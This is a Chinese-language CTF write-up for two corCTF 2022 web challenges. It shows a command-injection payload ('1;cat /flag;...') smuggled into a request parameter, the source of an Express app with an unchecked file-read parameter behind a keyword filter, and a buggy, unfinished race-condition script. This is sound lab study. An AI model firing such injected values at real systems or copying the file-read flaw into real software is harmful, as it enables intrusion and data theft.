corCTF writeup

Posted on 2022-08-06 Edited on 2022-10-06 In CTF WRITEUP

WEB

msfrog-generator

应该是打个命令注入

通过传json可以出个图片

推理后台逻辑

1	工具 msonse.png mseyes.png

明显这里是存在过滤的

直接去度文档就好了

这么说我这id是个参数

前面也可以加

t4rn大哥快我一步

payload

1	1;cat /flag;msnose.png

我的是是报错才会出现回显但容器不出网咋把输出重定向到报错里？有时间可以研究研究

simplewaf

1	docker build -t corweb2/corweb2 .

1	docker run -p 127.0.0.1:3456:3456 -d corweb2/corweb2

const express = require("express");
const fs = require("fs");

const app = express();

const PORT = process.env.PORT || 3456;

app.use((req, res, next) => {
    if([req.body, req.headers, req.query].some(
        (item) => item && JSON.stringify(item).includes("flag")
    )) {
        return res.send("bad hacker!");
    }
    next();
});

app.get("/", (req, res) => {
    try {
        res.setHeader("Content-Type", "text/html");
        res.send(fs.readFileSync(req.query.file || "index.html").toString());       
    }
    catch(err) {
        console.log(err);
        res.status(500).send("Internal server error");
    }
});

app.listen(PORT, () => console.log(`web/simplewaf listening on port ${PORT}`));

做题过程

现在这题有几个想法

让这里解析出问题 JSON.stringify(item).includes("flag") 然后就检测不到flag了
用什么神奇的构造来让他本来检测不出来然后读进来以后还是当做flag

查到一个好玩的东西

现在关键就是这个 JSON.stringify(item) 可以搞对象

然后是不是可以接一些拼接啥的给他干掉？

https://tttang.com/archive/1394/

理一下思路

现在我的想法是

通过 JSON.stringify(item) 来读一下 flag.txt
一爆破的方式去读软连接

如何去提前读一下 flag.txt ?

https://blog.csdn.net/Zero_Adam/article/details/114853022

查阅了相关资料这拦截器实在所有路由之前起作用的所以只剩下一种可能就是去读远程的文件了

读一个远程的软连接？

stupid try

~~能不能搞一手竞争之类的~~

import requests
import threading

url1="http://127.0.0.1:3456/?file=flag.txt"
url2='http://127.0.0.1:3456/?file=wow.html'
def read1():
    while True:
        res = requests.get(url1)
        # print(res.text)
        if "cor" in res.text:
            print('suc')

def read2():
    while True:
        res = requests.get(url2)


threads = [threading.Thread(target=read1()),
       threading.Thread(target=read2())]
for t in threads:
    t.start()